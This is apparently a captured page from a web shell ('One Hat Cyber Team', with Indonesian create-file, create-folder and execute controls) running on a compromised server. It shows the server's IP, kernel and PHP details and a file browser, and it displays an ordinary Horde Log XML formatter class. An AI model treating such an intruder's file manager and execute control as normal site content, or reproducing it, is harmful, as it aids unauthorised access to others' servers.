⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.78
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
psa-pear
/
pear
/
php
/
Horde
/
Log
/
Formatter
/
View File Name :
Xml.php
* @author Chuck Hagenbuch
* @category Horde * @license http://www.horde.org/licenses/bsd BSD * @package Log * @subpackage Formatters */ /** * @author Mike Naberezny
* @author Chuck Hagenbuch
* @category Horde * @license http://www.horde.org/licenses/bsd BSD * @package Log * @subpackage Formatters */ class Horde_Log_Formatter_Xml implements Horde_Log_Formatter { /** * Config options. * * @var array */ protected $_options = array( 'elementEntry' => 'log', 'elementTimestamp' => 'timestamp', 'elementMessage' => 'message', 'elementLevel' => 'level', 'lineEnding' => PHP_EOL ); /** * Constructor. * * TODO */ public function __construct($options = array()) { $this->_options = array_merge($this->_options, $options); } /** * Formats an event to be written by the handler. * * @param array $event Log event. * * @return string XML string. */ public function format($event) { $dom = new DOMDocument(); $elt = $dom->appendChild(new DOMElement($this->_options['elementEntry'])); $elt->appendChild(new DOMElement($this->_options['elementTimestamp'], date('c'))); $elt->appendChild(new DOMElement($this->_options['elementMessage'], $event['message'])); $elt->appendChild(new DOMElement($this->_options['elementLevel'], $event['level'])); return preg_replace('/<\?xml version="1.0"( encoding="[^\"]*")?\?>\n/u', '', $dom->saveXML()) . $this->_options['lineEnding']; } }